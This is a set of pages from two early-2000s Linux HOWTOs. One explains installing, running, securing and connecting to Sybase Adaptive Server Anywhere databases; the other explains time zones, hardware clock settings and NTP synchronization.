Procedures are invoked by a CALL statement, and can take values as well as return them. Unlike procedures, however, triggers are can neither take values nor return them, and are invoked by insertions, updates, or deletions in the table it is associated with. Permissions are not associated with triggers. They execute when the action defined to fire them is performed, regardless of the user.

For strict security, you can prevent all access to the tables, and grant permission to users to execute certain stored procedures that carry out specific tasks. This approach strictly defines the manner in which the database can be modified.

6.3.3. Encrypting client/server communications

Encrypting client/server communications prevents third parties from reading messages being sent between the client and the server. It can be enabled from either the server side or the client side. To enable encryption from the server, use the -e option at server startup. For example, use the following command to start up the database server to accept encrypted connections to mydb.db over TCP/IP:

dbsrv7 -e -x tcpip mydb.db

To enable encryption from a particular client, use the ENC keyword in the connection string. For example, to encrypt a connection over TCP/IP to mydb.db, your connection string would appear as follows:

"uid=mortimer;pwd=monkey;links=tcpip;eng=MyServer;dbf=mydb.db;enc=true"

For more information about client/server communications encryption, look for the -e command-line option under "The database server" in the Adaptive Server Anywhere Reference Manual, and for "Encryption connection parameter" under "Connection parameters" .

Prev | Home | Next
Backing up and Restoring a Database |  | Where to get more information


Where to get more information

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

7. Where to get more information

On-line help is available on your cdrom. If your computer is set up to mount the CD-ROM to /mnt/cdrom/ the help is located in /mnt/cdrom/help/contents.htm. Open it with Netscape Navigator, or any other web browser that supports tables. Style sheets support is recommended, but not necessary.

A FAQ is available for the UNIX version of Adaptive Server Anywhere at http://www.sybase.com/detail/1,3693,1011965,00.html

Check if there have been any bug fixes or updates posted at http://downloads.sybase.com/swx/sdmain.stm.

Newsgroups can be read from the web or with a news reader. The newsgroups sybase.public.sqlanywhere.general and sybase.public.sqlanywhere.linux are most likely to be relevant. To view newsgroups on the web, visit http://www.sybase.com/support/newsgroups. Be sure to search old threads for similar problems. It may already have been resolved.

Prev | Home | Next
Managing a Database |  | Legalities and Acknowledgements


Requirements

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

2. Requirements

2.1. System requirements

Adaptive Server Anywhere requires that you have the following installed on your system:

  • kernel 2.2.5-15 and up (2.2.x series)

  • glibc-2.1 or up

  • pthreads-0.8 or higher (included usually as part of glibc)

  • libstdc++-2-libc6.1

2.2. Supported distributions

At present, the following Linux distributions are supported:

  • Caldera 2.4

  • Red Hat 7.0, 6.2, 6.1 or 6.0

  • TurboLinux 6.1

  • SuSE 7.0, 6.4, 6.3 or 6.2

NOTE: The glibc and gcc released with Red Hat Linux 7.0 require patches before you can use Adaptive Server Anywhere. You can find them at http://www.redhat.com/support/errata/rh7-errata-bugfixes.html.

Prev | Home | Next
Introduction |  | Installation


Creating, Running and Connecting to Databases

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

4. Creating, Running and Connecting to Databases

4.1. Creating a database

When you ask Adaptive Server Anywhere to create a database, it creates the main database file, which contains the following objects, among others:

  • user tables

  • indexes

  • views

  • system tables

The maximum size of a database file depends on your file system and the page size you choose. Database files are limited to 256 million database pages or the filesize limit, whichever is reached first. UNIX files can be as large as 1 Tb, in some cases-see the Physical Limitations chapter of the Adaptive Server Anywhere Reference Manual or your Linux documentation for more information. You can set pages to be 1, 2, 4, 8, 16, or 32 kb in size, but it is not recommended that you use a page size of 1 kb. The default page size is 2 kb.

By default, Adaptive Server Anywhere also creates a file called the transaction log. Besides improving performance, the transaction log is vital to Adaptive Server Anywhere replication systems and database recovery in event of system failures. When possible, it is recommended that the transaction log be placed on a physical device (in most cases, a disk drive) separate from the main database file, to reduce the chances of both the main database file and transaction log being affected in the event of a media failure. You can specify the name and location of the transaction log when you create the database.

This section shows you how to create databases at either the command prompt or in Interactive SQL. You can also create databases through Sybase Central, if you prefer, by opening the Utilities folder under Adaptive Server Anywhere 7.

4.1.1. Creating a database from the command prompt

The command line utility for creating a database is dbinit.

Syntax:

dbinit [switches] db-file-name

db-file-name is the name you would like to give to your database file, for example, mydb.db. If you issue the command "dbinit -?" you'll be shown the above syntax, along with a list of options you can use.

To create your first Adaptive Server Anywhere database on Linux, enter the following command:

dbinit -t './logs/mydb.log' p 4096 mydb.db

This command creates a database in the current working directory called mydb.db with a page size of 4096 bytes, specified by the -p switch. Assuming the directory exists, it also creates the transaction log mydb.log in the subdirectory "logs," specified by the -t switch. Adaptive Server Anywhere databases carry the extension ".db" .

4.1.2. Creating a database from Sybase Central

To create a database in Sybase Central, open the Adaptive Server Anywhere section of the left pane, and select Utilities. Double-click Create Database in the right pane, and follow the on-screen instructions.

4.2. Running a database server and starting databases

There are two versions of the database server installed on your machine. If you are just using Adaptive Server Anywhere locally, use the personal database server (dbeng7). If you are going to connect to the Adaptive Server Anywhere database over a network, however, you should use the network database server (dbsrv7). Examples in this document use dbeng7, but the two commands are, for the most part, interchangeable. See the table below for specific differences.

Table 7. Differences between the Personal and Network database servers

 | Personal database server | Network database server
Name of executable | dbeng7 | dbsrv7
Local connections | Yes | Yes
Network connections | No | Yes
Maximum number of connections | 10 | Depends on license
Available communications protocols | Shared memory, TCP/IP | Shared memory, TCP/IP
Maximum number of CPUs for request processing | 2 | Unlimited
Default/Maximum number of internal threads | 10/10 | 20/Unlimited

Syntax:

(dbeng7 | dbsrv7) [server-switches] [database-file [database-switches], ]

database-file specifies the path and filename to the database. You aren't actually required to specify a database file when you start up the database server, but if you don't, you must specify a name for the server using the -n switch. By default, if you do not specify a name for the database, it takes on the name of the database file, minus the path and extension. Similarly, if you do not specify a name for the database server (which you can do in server-switches), it takes on the name of the first database that was started on it.

For full details on the usage of dbeng7 and dbsrv7, see "The database server" in the Adaptive Server Anywhere Reference.

To start up the Adaptive Server Anywhere personal database server, but not a database, and name it MyServer, issue the following command at a prompt:

dbeng7 -n MyServer

To start up the Adaptive Server Anywhere personal database server and name it MyServer, then start a database on MyServer from mydb.db, naming it MyDatabase, issue the following command:

dbeng7 -n MyServer mydb.db -n MyDatabase

In the latter case, if you don't name the database server MyServer, it would be named MyDatabase instead.

There's a plethora of other switches available for the server. You can get a full listing of them by typing "dbeng7 -?" at a command prompt. A few important switches include the following:

  • -c, for specifying Adaptive Server Anywhere's cache size

  • -x allows you to specify the communications protocols

  • -gt allows you to specify the number of processors to be used

  • -ud tells the server to run as a daemon in UNIX (explained below)

4.2.1. Running the server as a daemon

Sometimes it's necessary for the server to run outside of the current session (that is, regardless of who, if anyone, is logged in). To do so, use the -ud switch at the command line when starting the server to run it as a daemon.

The following command would start up a database server as a daemon, using the database we created before:

dbsrv7 -ud -n MyDatabase mydb.db

NOTE: Using "&" to run the database server in the background does not work.

4.3. Stopping the database server

Assuming you have the appropriate authority, you can stop the database server using any of the following methods:

  • the dbstop command line utility

  • using the STOP ENGINE SQL statement

  • pressing the Q key when the server display window has the focus

NOTE: While the term engine is part of the SQL statement's name, server is the common term now used. This document will use the term server unless referring explicitly to the STOP ENGINE SQL statement.

By default, any user can stop a personal database server, but only a user with the DBA authority can stop a network database server. (This default can be changed by using the -gk switch when starting the server-see the Adaptive Server Anywhere Reference for details.)

The command line utility syntax is as follows:

dbstop [switches] {name}

If you are issuing dbstop to stop a locally-running server, you can simply specify the name of the database server in {name}. If the server is not running locally, you need to create a connection to the server before you can tell it to stop. The -c switch allows you to specify a connection string for the database running on the server that you would like to stop. To stop MyServer, execute the following command:

dbstop -c "uid=DBA;pwd=SQL;eng=MyServer;dbn=MyDatabase"

In this instance, you could also just give the server name, since the server is running locally:

dbstop MyServer

The first command connects to the database named MyDatabase on the server MyServer, then stops the server named MyServer. In the case that no databases are active on the server, you have to add "dbn=utility_db" to the connection string.

Let's say "Club" is the name of one of the databases running on a server named "Goliath," and you want to stop all the databases running on Goliath, including Club. The following command accomplishes that, as well as shutting down the database server:

dbstop -c "uid=DBA;pwd=SQL;eng=Goliath;dbn=Club"

If you have a database server named "David" running without any databases started on it, you can stop the server using the following command:

dbstop -c "uid=DBA;pwd=SQL;eng=David;dbn=utility_db"

The syntax for the STOP ENGINE statement is as follows:

STOP ENGINE [ server-name ] [ UNCONDITIONALLY ]

The server named server-name is stopped. If server-name is omitted, the currently running database server is stopped. If UNCONDITIONALLY is specified, the database server is stopped whether or not there are still connections to the server.

4.4. Stopping databases

It's also possible to stop individual databases without stopping the server, or any of the other databases that might be running on it. To do so, use the STOP DATABASE SQL statement.

Syntax:

STOP DATABASE database-name [ON engine-name] [UNCONDITIONALLY]

You specify the name of the database that you would like to stop in database-name, with the restriction that the database specified cannot be the currently connected one. The "ON engine-name" clause can be used only in Interactive SQL. You use it to specify the server that the database is running on. Outside of Interactive SQL, the database can only be stopped if it is on the current server. The UNCONDITIONALLY keyword forces databases to be stopped, even if there are connections to it. By default, you can't stop a database if there are connections active.

4.5. Connecting to a database

You can connect to an Adaptive Server Anywhere database via any of the following interfaces:

  • ODBC

  • OLE DB or ADO

  • Embedded SQL

  • Sybase Open Client

  • JDBC

Regardless of how you connect, you must specify some parameters, such as a username and password, to establish a connection to the database. These can be specified in a connection string, the SQLCONNECT environment variable, an ODBC data source configuration, or the fields of a dialog box.

In this section, you'll find explanations on how to connect via SQL and ODBC.

As the Adaptive Server Anywhere network server is a client/server database, you may connect to a Linux-hosted database from Windows-based PCs and other non-Linux devices, as well as Linux applications. Programming interfaces such as OLE DB or ADO are available ony on Windows, but can still be used against a Linux-hosted database.

4.5.1. Connection strings

Connection strings are frequently used when performing actions on a database. They consist of a list of parameter settings, delimited by semicolons and enclosed in double quotes. There should be no extra spaces in a connection string.

Example:

"uid=DBA;pwd=SQL"

The short strings of letters just before each equal sign (in this example, uid, pwd, and dbf) are called keywords, which each correspond to a connection parameter. There are many connection parameters available, and they are listed in the Connecting to a Database chapter of the Adaptive Server Anywhere User's Guide. They are also described in detail in the Connection and Communication Parameters chapter of the Adaptive Server Anywhere Reference.

When Adaptive Server Anywhere utilities are looking for connection parameters, they check the SQLCONNECT environment variable for any parameters that were left out of the connection string. If you're putting connection parameters into the SQLCONNECT environment variable, replace the equal signs with number (#) signs. In bash you would use the following command:

SQLCONNECT='uid#DBA;pwd#SQL'

The single quotes are necessary in the above command because semicolons can be used to separate bash commands. You can also use double quotes.

To make SQLCONNECT available in subsequent shells, you'd need to use "export SQLCONNECT" to export the SQLCONNECT variable to the environment. You may also want to put these commands into your .bash_profile (or .profile, if you're using another shell) if you want the same connection parameters to be available each time you log in.

4.5.2. Connecting from Interactive SQL

To connect to a database from Interactive SQL, go to the Command menu, and choose "Connect...", then fill in the dialog box as appropriate.

4.5.3. Connecting via ODBC

ODBC (which stands for Open Database Connectivity) is an industry-standard interface for connecting client applications to relational and non-relational DBMSes. When you create an ODBC data source, it encapsulates the data and any other information required to get the data, including connection parameters.

4.5.3.1. Setting up ODBC with Adaptive Server Anywhere

To connect to Adaptive Server Anywhere from ODBC applications on Linux, you can either use Sybase's ODBC driver as a driver manager, or use a third-party ODBC driver manager such as iODBC or unixODBC. If you choose the latter route, follow the installation instructions for the driver manager you've chosen and choose dbodbc7.so (which resides in the sybase/SYBSsa7/lib directory) as the ODBC driver for Adaptive Server Anywhere.

If you choose the former route, you can use Adaptive Server Anywhere's ODBC driver as a driver manager if you will only be connecting to Adaptive Server Anywhere databases. To do so, you need to create a few symbolic links so that ODBC driver manager requests get routed to the Sybase ODBC driver. From the sybase/SYBSsa7/lib subdirectory, enter the following commands:

$ ln -s dbodbc7.so libodbc.so

$ ln -s dbodbc7.so libodbc.so.1

$ ln -s dbodbc7.so libodbcinst.so

$ ln -s dbodbc7.so libodbcinst.so.1

That's it!

4.5.3.2. About ODBC data sources

Data sources exist on the client computer, with at least one for each database accessible via ODBC. They reside in the .odbc.ini file or in a separate .dsn file.

If the client computer is running Linux or another UNIX operating system, ODBC data sources can be used both for ODBC applications as well as for the Interactive SQL and Sybase Central utilities.

NOTE: The database server looks for .odbc.ini in the following locations, among several others:

  1. ODBCINI environment variable

  2. ODBCHOME and HOME environment variables

  3. The user's home directory

  4. The current directory

  5. The path

  6. The root directory

If no .odbc.ini file exists in your home directory, you'll have to create one in your home directory. You can check if one exists by using the command "ls -a ~/.odbc.ini".

You manage ODBC data sources using the dbdsn command line utility.

Syntax:

dbdsn [ modifier-switches ]
 { -l
 | -d dsn
 | -g dsn
 | -w dsn [details-switches]
 | -cl                        }

dbdsn has four main modes of operation, and its behaviour depends on whether you choose the -l, -d, -g, or -w switch. Where applicable, the name of the data source to be operated on is specified by dsn.

  • the -l switch lists the data sources that have been defined

  • the -d switch deletes the specified data source

  • the -g switch gives you the details of the specified data source

  • the -w switch creates a new DSN using parameters specified in details-switches

The most important details-switch is the -c switch, which allows you to specify the usual database connection parameters. You can also specify the name of a database server as a details-switch. Type "dbdsn -cl" to display a list of available connection parameters.

To create a new data source named MyNewDSN for the server MyServer, execute the following command at a shell prompt:

dbdsn -w MyNewDSN -c "uid=dba;pwd=sql;eng=MyServer"

If there is a data source named MyNewDSN already existing, dbdsn asks if you would like to overwrite it.

Conversely, to delete MyNewDSN, execute the following command:

dbdsn -d MyNewDSN

The modifier-switches control how dbdsn outputs its messages to screen, and whether or not data sources can be overwritten without confirmation. For more information on other dbdsn options, see "The Data Source utility" under the Database Administration Utilities chapter of the Adaptive Server Anywhere Reference.

4.5.3.3. Connecting to an ODBC data source

Once you've created an ODBC data source, you can access it through the DSN (DataSourceName) connection string keyword.

For an ODBC data source called mydatasrc, for example, use the following connection string to connect to the database associated with it:

"dsn=mydatasrc"

NOTE: Explicitly-provided connection parameters and SQLCONNECT override any parameters provided in the ODBC data source, in that order.

NOTE: The FileDSN connection parameter is not yet available in version 7.0.2 of Adaptive Server Anywhere. Future versions of Adaptive Server Anywhere should support File DSNs.

Prev | Home | Next
Installation |  | Backing up and Restoring a Database


About this Document

Managing Accurate Date and Time
Prev

A. About this Document

Copyright 2002, Avi Alkalay.

This document must be distributed under the terms of GNU Free Documentation License.

This document is published in the following locations:

  • Official site [XML Source]

  • LinuxDoc, as a HOWTO [single page] [PDF]

Prev | Home
Accurate Global Time Synchronization |


Managing Accurate Date and Time

Avi Alkalay

avi at unix.sh
avi at br.ibm.com

Senior IT and Software Architect :: Linux Market Developer
IBM Linux Impact Team :: ibm.com/linux

Kent Borg - Suggestion to use ntpq instead of ntpdc

Yura Moron - Good explanations on ntpq and ntpdc info

Copyright © 2002 by Avi Alkalay

v1.0.1, 2002-05-07

Revision History
Revision 1.0.1 | 07 May 2002 | Revised by: avi
Final XML conversion. Files reorganization.
Revision 1.0 | 28 Apr 2002 | Revised by: avi
Finalized image.
Revision 0.8 | 27 Apr 2002 | Revised by: avi
Switched from ntpdc example to ntpq, based on contributions.
Revision 0.8.1 | 20 Apr 2002 | Revised by: avi
Improved graphic. Links to other doc locations.
Revision 0.8 | 14 Apr 2002 | Revised by: avi
Beter tunning of NTP graphic.
Revision 0.76 | 13 Apr 2002 | Revised by: avi
Inclusion of architecture graphic.
Revision 0.75 | 10 Apr 2002 | Revised by: avi
Spell checked. Using DocBook XSLT 1.50.
Revision 0.65 | 31 Mar 2002 | Revised by: avi
Upgraded to XML 4.1.2 DocBook format
Revision 0.6 | 29 Mar 2002 | Revised by: avi
Finished timezone mechanism on Linux. Created appendix. Now only drawings are needed.
Revision 0.4 | 24 Mar 2002 | Revised by: avi
All skeleton defined. All command examples written.
Revision 0.2 | 19 Mar 2002 | Revised by: avi
First DocBook version
Table of Contents
1. Computer Global Date and Time Concept
2. What are Time Zones?
2.1. Daylight Savings Time
2.2. Time Zones Examples
2.3. Time Zone Mechanism on Linux
3. The Correct Settings for Your Linux Box
3.1. Setting Time Zone
3.2. Setting the Hardware Clock
4. Accurate Global Time Synchronization
4.1. NTP: The Network Time Protocol
4.2. Building a Simple Time Synchronization Architecture
4.3. NTP Configurations
4.4. Watching Your Box Synchronizing
4.5. Configure to Automatically Run NTP at Boot
A. About this Document
Next
Computer Global Date and Time Concept


Accurate Global Time Synchronization

Managing Accurate Date and Time
Prev Next

4. Accurate Global Time Synchronization

To have accurate time in all your systems is as important as having a solid network security strategy (achieved by much more than simple firewall boxes). It is one of the primary components of a system administration based on good practices, which leads to organization and security. Specially when administering distributed applications, web-services, or even a distributed security monitoring tool, accurate time is a must.

4.1. NTP: The Network Time Protocol

We'll not discuss here the protocol, but how this wonderfull invention, added to the pervasiveness of the Internet, can be usefull for us. You can find more about it at www.ntp.org.

Once your system is setup, NTP will manage to keep its time accurate, making very small adjustments to not impact the running applications.

People can get exact time using hardware based on atom's electrons frequency or cyclotrons. There is also a method based on GPS (Global Positioning System). The first is more accurate, but the second is pretty good also. Both require very special and expensive equipment, but their owners (usually universities and research labs) connects them to computers, that run an NTP daemon, that are connected to the Internet, that finally lets us access it for free. And this is how we'll synchronize our systems.

4.2. Building a Simple Time Synchronization Architecture

You will need:

  1. A direct or indirect (through a firewall) connection to the Internet.

  2. Choose some NTP servers. There is a list of public time servers on NTP website. If you don't have an Internet access, your WAN administrator (must be a cleaver guy) can provide you some internal addresses.

  3. Have the NTP package installed in all systems you want to synchronize. You can find RPMs in your favorite Linux distribution CD, or make a search on rpmfind.net.

Here is an example of good architecture:

Figure 1. Local Relay Servers for NTP

If you have several machines to synchronize, do not make them all access the remote NTP servers you choosed. Only 2 of your server farm's machines must access remote NTP servers, and the other machines will sync with these 2. We will call them the Relay Servers.

Your Relay Servers can be any machine already available in your network. NTP consumes low memory and CPU. You don't need to have a dedicated machine for it.

Tip

It is a good idea to create hostname aliases for your local Relay Servers like ntp1.my.com and ntp2.my.com, and use only these names when configuring the client machines. This way you can move the NTP functionality to a new Relay Server (with a different IP and hostname), without having to reconfigure the clients. Ask your DNS administrator to create this aliases.

4.3. NTP Configurations

For Your Relay Servers

Edit /etc/ntp.conf and add the remote servers you choosed:

Example 5. Relay machines' /etc/ntp.conf

.
.
server  otherntp.server.org	# A stratum 1 server at server.org
server  ntp.research.gov	# A stratum 2 server at research.gov
.
.
For Your Clients

Edit /etc/ntp.conf and add your Relay Servers with a standard name:

Example 6. Client machines' /etc/ntp.conf

.
.
server  ntp1.my.com		# My first local relay
server  ntp2.my.com		# My second local relay
.
.

If your machine has a UTC time difference bigger than some minutes comparing to the NTP servers, NTP will not work. So you must do a first full sync, and I recommend you to do it in a non-production hour. You need to do it only when you are making the initial NTP setup. Never more:

Example 7. First sync

bash# ntpdate otherntp.research.gov	  (1)
24 Mar 18:16:36 ntpdate[10254]: step time server 200.100.20.10 offset -15.266188 sec
bash# ntpdate otherntp.research.gov	  (2)
24 Mar 18:16:43 ntpdate[10255]: adjust time server 200.100.20.10 offset -0.000267 sec
First full sync. We were 15 seconds late.
Second full sync, just to be sure. Now we are virtually 0 seconds late, which is good.

The last step is to start or restart the NTP daemons in each machine:

bash# service ntpd restart

4.4. Watching Your Box Synchronizing

Now you have everything setup. NTP will softly keep your machine time synchronized. You can watch this process using the NTP Query (ntpq command:

Example 8. A time synchronization status

bash# ntpq -p
     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
-jj.cs.umb.edu   gandalf.sigmaso  3 u   95 1024  377   31.681  -18.549   1.572
 milo.mcs.anl.go ntp0.mcs.anl.go  2 u  818 1024  125   41.993  -15.264   1.392
-mailer1.psc.edu ntp1.usno.navy.  2 u  972 1024  377   38.206   19.589  28.028
-dr-zaius.cs.wis ben.cs.wisc.edu  2 u  502 1024  357   55.098    3.979   0.333
+taylor.cs.wisc. ben.cs.wisc.edu  2 u  454 1024  347   54.127    3.379   0.047
-ntp0.cis.strath harris.cc.strat  3 u  507 1024  377  115.274   -5.025   1.642
*clock.via.net   .GPS.            1 u  426 1024  377  107.424   -3.018   2.534
 ntp1.conectiv.c 0.0.0.0         16 u    - 1024    0    0.000    0.000 4000.00
+bonehed.lcs.mit .GPS.            1 u  984 1024  377   25.126    0.131  30.939
-world.std.com   204.34.198.40    2 u  119 1024  377   24.229   -6.884   0.421

The meaning of each column

remote

Is the name of the remote NTP server. If you use the -n switch, you will see the IP addresses of these servers instead of their hostnames.

refid

Indicates where each server is getting its time right now. It can be a server hostname or something like .GPS., indicating a Global Positioning System source.

st

Stratum is a number from 1 to 16, to indicate the remote server precision. 1 is the most accurate, 16 means server unreachable. Your Stratum will be equal to the less accurate remote server plus 1.

poll

The polling interval (in seconds) between time requests. The value will range between the minimum and maximum allowed polling values. Initially the value will be smaller to allow synchronization to occur quickly. After the clocks are 'in sync' the polling value will increase to reduce network traffic and load on popular time servers.

reach

This is an octal representation of an array of 8 bits, representing the last 8 times the local machine tried to reach the server. The bit is set if the remote server was reached.

delay

The amount of time (seconds) needed to receive a response for a "what time is it" request.

offset

The most important value. The difference of time between the local and remote server. In the course of synchronization, the offset time lowers down, indicating that the local machine time is getting more accurate.

jitter

Dispersion, also called Jitter, is a measure of the statistical variance of the offset across several successive request/response pairs. Lower dispersion values are preferred over higher dispersion values. Lower dispersions allow more accurate time synchronization.

The meaning of the signs before server hostname

-

Means the local NTP service doesn't like this server very much

+

Means the local NTP service likes this server

x

Marks a bad host

*

Indicates the current favorite

4.5. Configure to Automatically Run NTP at Boot

You may want to have NTP running all the time even if you reboot your machine. On each machine, do the following:

bash# chkconfig --level 2345 ntpd on

This will ensure autostart.

If your machine is up and running for a long time (months, years) without rebooting, you'll find a big discrepancy between the inaccurate hardware clock and the (now very accurate) system time. Modern Linux distributions copy OS time to the HC everytime the system is shutdown, using a mechanism similar to the setclock command. This way, in the next OS boot, you'll get date and time almost as accurate as it was when you shutdown.

Prev | Home | Next
The Correct Settings for Your Linux Box |  | About this Document


The Correct Settings for Your Linux Box

Managing Accurate Date and Time
Prev Next

3. The Correct Settings for Your Linux Box

For any OS installation, you must know your Time Zone. This is expressed in terms of a city, a state or a country. You must also decide how to set BIOS time, and we may follow two strategies here:

Linux Only Machine

In this case you should set BIOS time to UTC time. DST changes will be dynamically managed by Time Zone configurations.

Dual Boot Linux and MS Windows Machine

Windows handles time in a more primitive way than Linux. For Windows, BIOS time is allways your local time, so DST changes are more aggressive because they directly change hardware clock. And since both Linux and Windows initially get and set time from the hardware, when they are together, Linux must handle it in the same way. So set BIOS time to your localtime.

3.1. Setting Time Zone

On Red Hat Linux and derived systems, you can set the hardware clock strategy and Time Zone using the timeconfig command, that shows a user-friendly dialog. You can also use it non-interactively:

Example 2. Time Configuration Tool

bash# timeconfig "Brasil/East"   # set HC to localtime, and TZ to "Brazil/East"
bash# timeconfig --utc "Brasil/East"   # set HC to UTC, and TZ to "Brazil/East"

Anyway, it changes /etc/sysconfig/clock file that is read at boot time. You can edit it by hand, and that is how it looks:

Example 3. /etc/sysconfig/clock file

ZONE="Brazil/East"
UTC=true
ARC=false

3.2. Setting the Hardware Clock

I encourage you to only set your HC after understanding how to get accurate time, described on Section 4.

The hwclock command reads and sets the HC, based on several options you give him, documented in its man page. But you don't have to use it if you have a modern Linux distribution. After defining your HC strategy and Time Zone, you can use the high level setclock command to correctly set your HC. You don't need to pass any parameters because setclock intelligently calls hwclock to set the BIOS based on your OS current date and time. So you should allways use the setclock command.

But if you are a minimalist and prefer hard work, here are some hwclock examples:

Example 4. setclock and hwclock usage

bash# setclock					# The easy way to set HC
bash# hwclock					# reads HC
bash# hwclock --systohc --utc			# set HC with UTC time based on OS current time
bash# hwclock --systohc				# set HC with local time based on OS current time
bash# hwclock --set --date "22 Mar 2002 13:17"	# set HC with time specified on string

Since the OS time is independent from the hardware clock, any BIOS change we make will take place in the next boot.

Another option to change HC is rebooting and accessing your computer BIOS screens. On IBM e-server zSeries platforms you'll have to do it on z/VM level, because Linux here runs on virtual machines created by z/VM.

Prev | Home | Next
What are Time Zones? |  | Accurate Global Time Synchronization


Computer Global Date and Time Concept

Managing Accurate Date and Time
Prev Next

1. Computer Global Date and Time Concept

To determine the current time for some planet region, a computer needs exactly this two informations:

  1. Correct UTC (universal time as in Greenwich, but not GMT) time

  2. Region's current Time Zone

For computers, there is also the hardware clock, which is used as a base by the OS to set his time.

OS date and time (we'll use only date or time from now on) is set on boot, by some script that reads the hardware clock, makes Time Zone calculations (there is no time zone data stored in BIOS) and sets the OS. After this synchronization, BIOS and OS time are completely independent. So after a while they may have some seconds of difference. Which one is correct? If you don't make special configurations, none.

We'll discuss here how to make them both globally 100% accurate.

Prev | Home | Next
Managing Accurate Date and Time |  | What are Time Zones?


What are Time Zones?

Managing Accurate Date and Time
Prev Next

2. What are Time Zones?

Time Zones are a geophysical world globe division of 15o each, starting at Greenwich, in England, created to help people know what time is it now in another part of the world.

Nowadays it is much more a political division than geophysical, because sometimes people needs to have the same time as other people in not-so-far locations. And for energy savings reasons, we have today the Daylight Savings Time, that are also a Time Zone variation.

Time Zones are usually defined by your country government or some astronomical institute, and is represented by 3 or 4 letters. See Section 2.2 for examples.

If you want to know what time is it now in a different world region, you can use the timezoneconverter.com website.

2.1. Daylight Savings Time

For energy savings reasons, governments created the Daylight Savings Time. Our clocks are forwarded one hour, and this makes our days look longer. In fact, what really happens is only a Time Zone change. The primitive time (UTC) is still, and will allways be, the same.

Later we'll see how to enable and disable DST automatically in Linux.

2.2. Time Zones Examples

There is nothing better than examples:

Table 1. Brazilian Time Zones. Shifts relative to UTC

Name and Shift | DST Name and Shift | Locations
BREST -2:00 | BREDT -1:00 | Fernando de Noronha
BRST -3:00 | BRDT -2:00 | São Paulo, Rio, Brasilia, Minas Gerais, North East Region, South Region,etc
BRWST -4:00 | BRWDT -3:00 | West Region
BRAST -5:00 | BRADT -4:00 | Acre

Please send me contributions like this table for US Time Zone.

2.3. Time Zone Mechanism on Linux

Linux systems uses the GLIBC dynamic Time Zones, based on /etc/localtime. This file is a link to (or a copy of) a zone information file, usually located under /usr/share/zoneinfo directory.

From a geophysical perspective, there is only 360o/15o=24 Time Zones in the world. But to make things easy to people, and to accommodate all the political variations (like Daylight Savings Time), you'll find hundreds of zoneinfo files in /usr/share/zoneinfo, each for every world city, country, etc, and its not complete (it can never be).

Some countries, like Brazil, don't have a fixed day to start Daylight Savings Time. It is defined every year, a couple of months before summer, and you may end up in a situation you'll have to change your zoneinfo file, which was compiled by zic from a text file like this.

Example 1. Brazilian Zone Info text file

# Brazil Time Zones
#
# Brazilian Time Zones are:
# BREST: East of Brasilia. Fernando de Noronha.
# BRST:  Brasilia, São Paulo, Rio, Northeast, South etc
# BRWST: West of Brasilia. Mato Grosso, Manaus
# BRAST: Acre.
#
# In daylight saving time, letter 'S' changes to 'D'.
#
# To install, make:
#
# # zic Brazil.txt
#
# Zone files will be installed in /usr/share/zoneinfo (depends on your
# distribution). Then, make a symbolic link from your zone to /etc/localtime:
#
# # ln -sf /usr/share/zoneinfo/Brazil/Brasilia /etc/localtime
#
#
# If you have updates and new standards to this file please send to
#
# Avi Alkalay <avi @ unix.sh>
#
# Last update: 18 Nov 2000
# This file is available at http://avi.alkalay.net/linux/zoneinfo/
#

# Rule  NAME    FROM  TO    TYPE  IN    ON   AT    SAVE   LETTER/S
Rule    Brazil  1931  1932  -     Oct   3    0:00  1:00   D
Rule    Brazil  1932  1933  -     Mar   31   0:00  0      S
Rule    Brazil  1949  only  -     Dec   1    0:00  1:00   D
Rule    Brazil  1950  only  -     Apr   30   0:00  0      S
Rule    Brazil  1950  1952  -     Dec   1    0:00  1:00   D
Rule    Brazil  1951  only  -     Apr   16   0:00  0      S
Rule    Brazil  1952  only  -     Mar   31   0:00  0      S
Rule    Brazil  1953  only  -     Feb   28   0:00  0      S
Rule    Brazil  1963  only  -     Oct   23   0:00  1:00   D
Rule    Brazil  1964  only  -     Mar   1    0:00  0      S
Rule    Brazil  1965  only  -     Jan   31   0:00  1:00   D
Rule    Brazil  1965  only  -     Mar   31   0:00  0      S
Rule    Brazil  1965  only  -     Dec   1    0:00  1:00   D
Rule    Brazil  1966  1968  -     Mar   1    0:00  0      S
Rule    Brazil  1966  1967  -     Nov   1    0:00  1:00   D
Rule    Brazil  1984  only  -     Nov   2    0:00  1:00   D
Rule    Brazil  1985  only  -     Mar   15   0:00  0      S
Rule    Brazil  1985  only  -     Nov   2    0:00  1:00   D
Rule    Brazil  1986  only  -     Mar   15   0:00  0      S
Rule    Brazil  1986  only  -     Oct   25   0:00  1:00   D
Rule    Brazil  1987  only  -     Feb   14   0:00  0      S
Rule    Brazil  1987  only  -     Oct   25   0:00  1:00   D
Rule    Brazil  1988  only  -     Feb   7    0:00  0      S
Rule    Brazil  1988  only  -     Oct   16   0:00  1:00   D
Rule    Brazil  1989  only  -     Jan   29   0:00  0      S
Rule    Brazil  1989  only  -     Oct   15   0:00  1:00   D
Rule    Brazil  1990  only  -     Feb   11   0:00  0      S
Rule    Brazil  1990  only  -     Oct   21   0:00  1:00   D
Rule    Brazil  1991  only  -     Feb   17   0:00  0      S
Rule    Brazil  1991  only  -     Oct   20   0:00  1:00   D
Rule    Brazil  1992  only  -     Feb   9    0:00  0      S
Rule    Brazil  1992  only  -     Oct   25   0:00  1:00   D
Rule    Brazil  1993  only  -     Jan   31   0:00  0      S
Rule    Brazil  1993  only  -     Oct   17   0:00  1:00   D
Rule    Brazil  1994  only  -     Feb   20   0:00  0      S
Rule    Brazil  1994  only  -     Oct   16   0:00  1:00   D
Rule    Brazil  1995  only  -     Feb   19   0:00  0      S
Rule    Brazil  1995  only  -     Oct   15   0:00  1:00   D
Rule    Brazil  1996  only  -     Feb   11   0:00  0      S
Rule    Brazil  1996  only  -     Oct   06   0:00  1:00   D
Rule    Brazil  1997  only  -     Feb   16   0:00  0      S
Rule    Brazil  1997  only  -     Oct   06   0:00  1:00   D
Rule    Brazil  1998  only  -     Mar   01   0:00  0      S
Rule    Brazil  1998  only  -     Oct   11   0:00  1:00   D
Rule    Brazil  1999  only  -     Feb   21   0:00  0      S
Rule    Brazil  1999  only  -     Oct   03   0:00  1:00   D
Rule    Brazil  2000  only  -     Feb   27   0:00  0      S
Rule    Brazil  2000  only  -     Oct   8    0:00  1:00   D
